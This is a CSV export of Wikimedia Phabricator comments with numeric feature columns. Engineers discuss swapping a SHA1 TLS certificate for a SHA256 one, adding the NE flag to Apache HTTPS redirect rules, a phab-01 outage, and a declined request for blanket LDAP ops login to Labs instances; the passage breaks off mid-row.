408847,replace dumps.wikimedia.org sha1 cert with sha256 cert,"Hrmm, that change is correct, and this should work.  Let me loop back to this shortly.",,,1423513034,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.380952380952381,0.8571428571428571,"Hrmm, that change is correct, and this should work.  Let me loop back to this shortly."
408843,replace dumps.wikimedia.org sha1 cert with sha256 cert,"It is the same private key, no change.",,,1423512506,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,"It is the same private key, no change."
408673,replace dumps.wikimedia.org sha1 cert with sha256 cert,"This changeset (https://gerrit.wikimedia.org/r/#/c/189493/) will, after the old /etc/ssl/localcerts/dumps.wikimedia.org.chained.crt is moved out of the way, force the generation of a new one. Verified on ms1001. However nginx does not start up with the new crt file because the old private key is still being used (where is the new one? I don't see it in the private repo.)   I have put the old crt file back in place for now. ",,,1423496816,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,2.0,2.0,11.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,5.0,7.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,13.0,2.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.6551724137931036,0.6896551724137931,"This changeset (URL will, after the old /etc/ssl/localcerts/dumps.wikimedia.org.chained.crt is moved out of the way, force the generation of a new one. Verified on ms1001. However nginx does not start up with the new crt file because the old private key is still being used (where is the new one? I don't see it in the private repo.)   I have put the old crt file back in place for now. "
406410,replace dumps.wikimedia.org sha1 cert with sha256 cert,"so the cert is in the filesystem on ms1001, but isnt serving it.  ive restarted and reloaded nginx, so not sure whats up.  I'll keep hacking at it, but usability isnt gone, just still shows SHA1 cert.",,,1423010731,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.215686274509804,0.7254901960784313,"so the cert is in the filesystem on ms1001, but isnt serving it.  ive restarted and reloaded nginx, so not sure whats up.  I'll keep hacking at it, but usability isnt gone, just still shows SHA1 cert."
406409,replace dumps.wikimedia.org sha1 cert with sha256 cert,"followed my own advice, and the one http connection that wasnt a crawler or neon just died, so pushing now.",,,1423010259,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.6666666666666665,0.9583333333333334,"followed my own advice, and the one http connection that wasnt a crawler or neon just died, so pushing now."
406408,replace dumps.wikimedia.org sha1 cert with sha256 cert,"Also, Once this is completed, we need to revoke the SHA1 cert.  So someone can do this via rapidssl, or I'll do so once the other ticket is live.

(Anyone can push this change live when they notice there is no http/https traffic on ms1001.  You can check with the following commands:

netstat | grep http
netstat | grep https",,,1423010128,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0.0,3.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,7.0,8.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,7.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,9.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,8.0,7.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.539473684210526,0.7236842105263158,"Also, Once this is completed, we need to revoke the SHA1 cert.  So someone can do this via rapidssl, or I'll do so once the other ticket is live.

(Anyone can push this change live when they notice there is no http/https traffic on ms1001.  You can check with the following commands:

netstat | grep http
netstat | grep https"
406407,replace dumps.wikimedia.org sha1 cert with sha256 cert,"So while I see no https traffic on the system, I do see regular http traffic, and reloading apache for the https change will affect those downloads.

When there is no traffic, the following patchset can be merged:

https://gerrit.wikimedia.org/r/#/c/188492/

Then, once it is live on palladium, someone can rm the file /etc/ssl/certs/dumps.wikimedia.org.chained.pem and then run puppet. Once puppet runs, reloading apache should show the new certificate.",,,1423009990,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-2wzbcm7nz252unc7wh6c,task_subcomment,,True,c3,1,True,,,-22,True,0.0,1.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,5.0,7.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,25.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,8.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.152941176470589,0.6705882352941176,"So while I see no https traffic on the system, I do see regular http traffic, and reloading apache for the https change will affect those downloads.

When there is no traffic, the following patchset can be merged:

URL

Then, once it is live on palladium, someone can rm the file /etc/ssl/certs/dumps.wikimedia.org.chained.pem and then run puppet. Once puppet runs, reloading apache should show the new certificate."
88359,Redirects to https need to set NE (no escape) in apache,"%7C in my querystrings are turning in to %257C

```
$ curl -I ""http://office.wikimedia.org/w/api.php?format=json&action=query&meta=siteinfo&siprop=namespaces%7Cnamespacealiases%7Cmagicwords%7Cfunctionhooks%7Cextensiontags%7Cgeneral%7Cinterwikimap%7Clanguages%7Cprotocols""
HTTP/1.1 301 Moved Permanently
Server: Apache
X-Powered-By: HHVM/3.3.0-static
Location: https://office.wikimedia.org/w/api.php?format=json&action=query&meta=siteinfo&siprop=namespaces%257Cnamespacealiases%257Cmagicwords%257Cfunctionhooks%257Cextensiontags%257Cgeneral%257Cinterwikimap%257Clanguages%257Cprotocols
Content-Type: text/html; charset=iso-8859-1
[...]
```",High,80.0,1422919080,1423566112.0,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-USER-fdo23otm6ztt674vjqko,False,PHID-TASK-gbhqcayofvg645vv66go,task_description,resolved,True,c3,1,True,False,True,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.823529411764706,0.7058823529411765,"%7C in my querystrings are turning in to %257C

``CODE``"
409360,Redirects to https need to set NE (no escape) in apache,Thanks @Joe,,,1423591902,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,ThanksSCREEN_NAME
408519,Redirects to https need to set NE (no escape) in apache,Lowered priority since it seems no one is in a hurry to review this :),,,1423471820,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,20.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,Lowered priority since it seems no one is in a hurry to review this :)
407080,Redirects to https need to set NE (no escape) in apache,"Patch is up for review here:
https://gerrit.wikimedia.org/r/188762
",,,1423125720,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9,"Patch is up for review here:
GERRIT_URL
"
406065,Redirects to https need to set NE (no escape) in apache,"The line in @BBlack comment should work; I am still thinking of possible security implications of using NE in these rewrites, but there shouldn't be any",,,1422956412,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-22,True,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,7.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.678571428571429,0.9285714285714286,"The line inSCREEN_NAME comment should work; I am still thinking of possible security implications of using NE in these rewrites, but there shouldn't be any"
405927,Redirects to https need to set NE (no escape) in apache,"I think you mean:

```
RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,L,NE]
```

Can someone test this somewhere and get back?",,,1422923164,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-22,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0476190476190474,0.8095238095238095,"I think you mean:

``CODE``

Can someone test this somewhere and get back?"
405896,Redirects to https need to set NE (no escape) in apache,"I guess this needs doing manually?

https://github.com/wikimedia/operations-puppet/blob/production/modules/mediawiki/files/apache/sites/remnant.conf#L262-L263

```
    RewriteEngine On
    RewriteCond %{HTTP:X-Forwarded-Proto} !https
    RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,L]
```

to

```
    RewriteEngine On
    RewriteCond %{HTTP:X-Forwarded-Proto} !https
    RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,LN,E]
```


```
reedy@ubuntu64-web-esxi:~/git/operations/puppet/modules/mediawiki/files/apache/sites$ grep ""\!https"" -A 1 *
main.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
main.conf-    RewriteRule (.) https://donate.wikimedia.org%{REQUEST_URI} [R=301]
--
main.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
main.conf-    RewriteRule (.) https://vote.wikimedia.org%{REQUEST_URI} [R=301]
grep: redirects: Is a directory
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://grants.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://fdc.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://internal.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://board.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://boardgovcom.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://spcom.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://chapcom.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://searchcom.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://office.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://chair.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://auditcom.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://quality.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://otrs-wiki.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://exec.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://collab.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://movementroles.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://checkuser.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://steward.wikimedia.org/$1 [R=301,L]
--
remnant.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
remnant.conf-    RewriteRule ^/(.*)$ https://ombudsmen.wikimedia.org/$1 [R=301,L]
--
wikimania.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
wikimania.conf-    RewriteRule ^/(.*)$ https://wikimaniateam.wikimedia.org/$1 [R=301,L]
--
wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
wikimedia.conf-    RewriteRule ^/(.*)$ https://transitionteam.wikimedia.org/$1 [R=301,L]
--
wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
wikimedia.conf-    RewriteRule ^/(.*)$ https://iegcom.wikimedia.org/$1 [R=301,L]
--
wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
wikimedia.conf-    RewriteRule ^/(.*)$ https://legalteam.wikimedia.org/$1 [R=301,L]
--
wikimedia.conf:    RewriteCond %{HTTP:X-Forwarded-Proto} !https
wikimedia.conf-    RewriteRule ^/(.*)$ https://zero.wikimedia.org/$1 [R=301,L]
reedy@ubuntu64-web-esxi:~/git/operations/puppet/modules/mediawiki/files/apache/sites$
```",,,1422919677,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-gbhqcayofvg645vv66go,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.266666666666667,0.7333333333333333,"I guess this needs doing manually?

URL

``CODE`CODE`CODE`CODE`CODE``"
88272,phab-01 is broken: HTTPFutureCURLResponseStatus,"https://phab-01.wmflabs.org is down.

  HTTPFutureCURLResponseStatus
  
  [cURL/7] (http://localhost:9200/phabricator/_status/) <CURLE_COULDNT_CONNECT> The cURL library raised an error while making a request. You
  may be able to find more information about this error (error code: 7) on the cURL site: 
  http://curl.haxx.se/libcurl/c/libcurl-errors.html#CURLECOULDNTCONNECT",High,80.0,1422870617,1422956522.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-wgkev2xmm6dloi5xk2d5,task_description,resolved,True,c3,1,True,False,True,-22,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,14.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,12.0,4.176470588235294,0.8235294117647058,"URL is down.

  HTTPFutureCURLResponseStatus
  
  [cURL/7] (URL <CURLE_COULDNT_CONNECT> The cURL library raised an error while making a request. You
  may be able to find more information about this error (error code: 7) on the cURL site: 
  URL"
406066,phab-01 is broken: HTTPFutureCURLResponseStatus,"It seems to work again (anybody knows who gave it a gentle poke?) but now there's a problem with registration, see T88346",,,1422956522,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wgkev2xmm6dloi5xk2d5,task_subcomment,,True,c3,1,True,,,-22,True,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,7.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,4.0,4.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7037037037037037,0.9629629629629629,"It seems to work again (anybody knows who gave it a gentle poke?) but now there's a problem with registration, see T88346"
87094,Allow everyone in ops group in LDAP to login to all Labs instances,"They can already login to pretty much every host in prod, and can get themselves added to any project. Should just be automatic instead.",High,80.0,1421489673,1651569146.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-sxq4vq7w2n4flssbouxw,task_description,declined,True,c3,1,True,False,False,-24,True,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.185185185185185,0.8888888888888888,"They can already login to pretty much every host in prod, and can get themselves added to any project. Should just be automatic instead."
1908961,Allow everyone in ops group in LDAP to login to all Labs instances,"I don't think this makes sense. As you said, in an emergency anyone in the ops group can add themselves to any project (by SSHing to a cloudcontrol box and using the novaadmin credentials stored there). Most people in 'ops' are however not involved in the day-to-day management of the Cloud VPS platform and instead might only regularly use a few projects so being added to them manually like anyone else shouldn't be a huge problem. For those who do might need access to arbitrary instances, we already have a mechanism (root-authorized-keys in labs/private) that is fully independent of LDAP and can be used for this purpose.

Closing this given the little interest in this task over the years. Feel free to re-open if you disagree.

>>! In T87094#2116406, @Krenair wrote:
> So they have full sudo everywhere, but can't necessarily log in everywhere? We should probably document this at https://wikitech.wikimedia.org/wiki/LDAP_Groups#ops_grants_access_to:

`ou=sudoers,dc=wikimedia,dc=org` isn't actually read by any vps instance... but `profile::wmcs::instance` applies a very similar rule anyways. Not sure if it's worth keeping or should be removed.",,,1651569146,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-sxq4vq7w2n4flssbouxw,task_subcomment,,True,c3,3,True,,,356,True,1.5,1.0,1.0,2.5,2.5,7.0,1.0,0.0,0.0,1.0,4.5,2.5,0.0,0.5,0.0,1.0,0.0,8.5,12.5,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,5.0,1.5,0.5,1.5,1.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,14.0,2.0,1.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,6.0,3.5,7.5,1.0,2.5,9.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,12.5,5.0,0.0,1.0,0.0,3.5,0.0,1.0,3.0,1.0,1.5,0.0,0.5,0.0,3.905482456140351,0.7854166666666667,"I don't think this makes sense. As you said, in an emergency anyone in the ops group can add themselves to any project (by SSHing to a cloudcontrol box and using the novaadmin credentials stored there). Most people in 'ops' are however not involved in the day-to-day management of the Cloud VPS platform and instead might only regularly use a few projects so being added to them manually like anyone else shouldn't be a huge problem. For those who do might need access to arbitrary instances, we already have a mechanism (root-authorized-keys in labs/private) that is fully independent of LDAP and can be used for this purpose.

Closing this given the little interest in this task over the years. Feel free to re-open if you disagree.

QUOTE
QUOTE

CODE isn't actually read by any vps instance... but CODE applies a very similar rule anyways. Not sure if it's worth keeping or should be removed."
628886,Allow everyone in ops group in LDAP to login to all Labs instances,"While poking around in LDAP I found this:
